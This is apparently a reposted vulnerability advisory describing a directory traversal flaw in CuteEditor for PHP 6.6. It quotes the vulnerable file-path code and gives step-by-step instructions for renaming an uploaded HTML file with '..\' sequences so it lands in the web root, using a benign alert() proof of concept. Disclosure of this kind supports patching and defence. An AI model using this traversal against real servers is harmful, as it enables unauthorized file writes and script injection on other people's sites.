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CuteEditor for PHP 6.6 - Directory Traversal

CHT丨情报收集
CHT丨情报收集
在 黑帽漏洞数据库

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发布于 
# Exploit Title: CuteEditor for PHP 6.6 - Directory Traversal
# Google Dork: N/A
# Date: November 17th, 2021
# Exploit Author: Stefan Hesselman
# Vendor Homepage: http://phphtmledit.com/
# Software Link: http://phphtmledit.com/download/phphtmledit.zip
# Version: 6.6
# Tested on: Windows Server 2019
# CVE : N/A

There is a path traversal vulnerability in the browse template feature in CuteEditor for PHP via the "rename file" option. An attacker with access to CuteEditor functions can write HTML templates to any directory inside the web root.

File: /phphtmledit/cuteeditor_files/Dialogs/Include_Security.php, Lines: 109-121

Vulnerable code:
[SNIP]
	function ServerMapPath($input_path,$absolute_path,$virtual_path)
	{
	  if($absolute_path!="")
	  {
		return $absolute_path.str_ireplace($virtual_path,"",$input_path);
	  }
	  else
	  {
		if(strtoupper(substr(PHP_OS, 0, 3) === 'WIN'))
		{    
if(empty($_SERVER['DOCUMENT_ROOT']) && !empty($_SERVER['SCRIPT_FILENAME'])) { 
	$_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr($_SERVER['SCRIPT_FILENAME'], 0, 0 - strlen($_SERVER['PHP_SELF'])));
} 
if(empty($_SERVER['DOCUMENT_ROOT']) && !empty($_SERVER['PATH_TRANSLATED'])) { 
  $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr(str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']), 0, 0 - strlen($_SERVER['PHP_SELF'])));
}
				return $_SERVER["DOCUMENT_ROOT"].$input_path;
		}
		else
		{
			return ucfirst($_SERVER["DOCUMENT_ROOT"]).$input_path; 
		}
	  }
	}
[SNIP]

ServerMapPath() takes 3 arguments: $input_path, $absolute_path, and $virtual_path and is used, among others, in the browse_template.php file.

File:/phphtmledit/cuteeditor_files/Dialogs/browse_Template.php, Lines: 47-56

Vulnerable function (renamefile, line 57):
[SNIP]
switch ($action)
{
[SNIP]
	case "renamefile":
		rename(ServerMapPath($_GET["filename"],$AbsoluteTemplateGalleryPath,$TemplateGalleryPath),ServerMapPath($_GET["newname"],$AbsoluteTemplateGalleryPath,$TemplateGalleryPath));
		print "<script language=\"javascript\">parent.row_click('".$_GET["newname"]."');</script>";
		break;
[SNIP]

$input_path is $_GET["filename"] and is under control of the attacker. If an attacker uploads and renames the HTML template to '..\..\..\poc.html', it becomes:

C:\Inetpub\wwwroot\..\..\..\poc.html

Final result: writes poc.html to the webroot.

STEPS:

1. Create a poc.html file (XSS PoC will do).

<HTML>
<title>Path Traversal PoC</title>
<BODY>
<h1>PoC</h1>
<script>alert('directory traversal');</script>
</BODY>
</HTML>

2. Upload poc.html via the "Insert Templates" page using the "Upload files" option.
3. Select poc.html and select "Rename File".
4. Click on the pencil icon to the right of the poc.html file.
5. Rename file to "..\..\..\poc.html".
6. Press OK. poc.html is written three directories up.

This may require more or less dot dot slash (..\ or ../) depending on the size of your directory tree. Adjust slashes as needed.

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